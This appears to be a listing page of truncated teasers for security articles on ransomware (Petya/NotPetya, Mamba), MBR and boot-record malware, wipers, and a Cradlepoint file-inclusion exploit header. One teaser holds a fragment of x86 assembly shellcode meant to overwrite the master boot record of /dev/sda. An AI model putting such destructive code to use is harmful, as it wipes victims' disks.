Cb Defense Q3 2017 Release Future-Proofs Your Ransomware Defenses

We’re excited to announce the Cb Defense Q3 2017 release is here! Cb Defense has always been focused on bringing you the best possible prevention, built upon our unique streaming prevention platform, combined with our market-leading endpoint detection and response EDR capabilities. The Q3 2017...

The return of Mamba ransomware

At the end of 2016, there was a major attack against San Francisco's Municipal Transportation Agency. The attack was done using Mamba ransomware. This ransomware uses a legitimate utility called DiskCryptor for full disk encryption. This month, we noted that the group behind this ransomware has...

No Free Pass for ExPetr

Recently, there have been discussions around the topic that if our product is installed, ExPetr malware won't write the special malicious code which encrypts the MFT to MBR. Some have even speculated that some kind of conspiracy might be ongoing. Others have pointed out it's plain and simple...

Original Author of Petya Ransomware is Back & He Wants to Help NotPetya Victims

The author of original Petya ransomware is back. After 6 months of silence, the author of the now infamous Petya ransomware appeared today on Twitter to help victims unlock their files encrypted by a new version of Petya, also known as NotPetya. "We're back having a look in NotPetya," tweeted...

Turns Out New Petya is Not a Ransomware, It’s a Destructive Wiper Malware

What if I say the Tuesday's devastating global malware outbreak was not due to any ransomware infection? Yes, the Petya ransomware attacks that began infecting computers in several countries, including Russia, Ukraine, France, India and the United States on Tuesday and demands $300 ransom was not...

Protect Your Organization from Petya / NotPetya Ransomware with Carbon Black

Organizations from Russia to Britain were hit by a ransomware attack on Tuesday in a hack with similarities to the recent WannaCry attacks. Initial analysis showed that the malware seen is a recent variant of the Petya ransomware family based upon how it encrypts files and displays its ransom not...

Petya Ransomware Spreading Rapidly Worldwide, Just Like WannaCry

Watch out, readers! It is ransomware, another WannaCry, another wide-spread attack. The WannaCry ransomware is not dead yet and another large scale ransomware attack is making chaos worldwide, shutting down computers at corporates, power supplies, and banks across Russia, Ukraine, Spain, France,...

SUSE SLED12 / SLES12 Security Update : util-linux (SUSE-SU-2016:2954-1)

This update for util-linux fixes the following issues : - Consider redundant slashes when comparing paths bsc982331, util-linux-libmount-ignore-redundant-slashes.patch, affects backport of util-linux-libmount-cifs-ismounted.patch. - Use upstream compatibility patches for --show-pt-geometry with...

MBRFilter — Open Source Tool to Protect Against 'Master Boot Record' Malware

Ransomware threat has risen exponentially so much that ransomware authors have started abusing the MBR in their attacks to lock down your entire computer instead of just encrypting your important files on hard drive. Talos team at Cisco Systems has released a free, open-source tool that protects...

Unable to Back Up Disk X: Due to Invalid Partition Table

Challenge The backup job fails with the following error: Unable to back up disk X: due to invalid partition table Cause The error is caused by a volume type with no partition table and is not supported by Veeam Agent for Microsoft Windows. In Windows Disk Management, the volume looks like a commo...

Petya in the end is what the Ghost-vulnerability warning-the black bar safety net

Late last month, German veteran security vendors Goethe Tower released a security report, the report pointed out the emergence of a named Petya in the new extortion Trojan. Then this new extortion Trojan the hell is going on? 0x01 Trojan overview The Trojan itself is actually technically is not...

Petya Ransomware Master File Table Encryption

First ransomware locked your desktop. Then it encrypted your files. Not long after, webservers, shared drives and backups were targeted. Now? Introducing Petya, ransomware that targets the Master Boot Record. Spotted in email campaigns sent to human resources offices in German companies, the...

Persistent Financial Malware 'Nemesis' Targets Boot Record

A group of attackers are behind a strain of payment card malware that has bootkit functionality, something that makes it very difficult to detect, much less remove. “FIN1,” the group behind the malware, appears to be based in Russia, according to researchers at both FireEye and Mandiant who...

Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record

In September, Mandiant Consulting identified a financially motivated threat group targeting payment card data using sophisticated malware that executes before the operating system boots. This rarely seen technique, referred to as a ‘bootkit’, infects lower-level system components making it very...

Cradlepoint MBR 1200 / 1400 Local File Inclusion

Exploit Title: Cradlepoint MBR LFI Date: 7/7/2015 Exploit Author: DocHak Vendor Homepage: https://cradlepoint.com/ Version: 1200/1400 REQUIRED Tested on: Embedded linux I found a local file include with root level permissions on cradlepoint routers. So far looks like it works on MBR1400 and MBR12...

Cradlepoint MBR1400 and MBR1200 Local File Inclusion Vulnerability

Exploit for hardware platform in category web applications Exploit Title: Cradlepoint MBR LFI Date: 7/7/2015 Exploit Author: DocHak Vendor Homepage: https://cradlepoint.com/ Version: 1200/1400 REQUIRED Tested on: Embedded linux I found a local file include with root level permissions on cradlepoi...

Rombertik Malware Can Overwrite MBR if Audited

A new strain of spyware that logs keystrokes and steals data has a destructive side to it, unleashing wiper capabilities if it detects it’s being analyzed and audited. A limited number of samples of the malware, dubbed Rombertik by researchers at Cisco Talos, were spotted at the start of the year...

Destover Wiper Malware Analysis

Researchers are starting to stitch together clues about the wiper malware that has landed a body blow to Sony Pictures Entertainment. Not only were thousands of files and documents leaked that included unreleased movies, confidential company presentations and financial records, employee records,...

linux/x86 overwrite MBR on /dev/sda with `LOL!' 43 bytes

No description provided by source. ; linux/x86 overwrite MBR on /dev/sda with LOL!' 43 bytes ; root@thegibson ; 2010-01-15 section .text global start start: ; open/dev/sda, OWRONLY; mov al, 5 xor ecx, ecx push ecx push dword 0x6164732f push dword 0x7665642f mov ebx, esp inc ecx int 0x80 ; writefd...

South Korea Cyber Attack, Wiper malware and Chinese IP Address

Yesterday we reported about a massive Cyber attack on South Korea that was responsible for shutting down networks of South Korean banks and TV broadcasters. Police are still investigating the cyber attack but the country's Communications Commission has revealed that the hacking originated from a...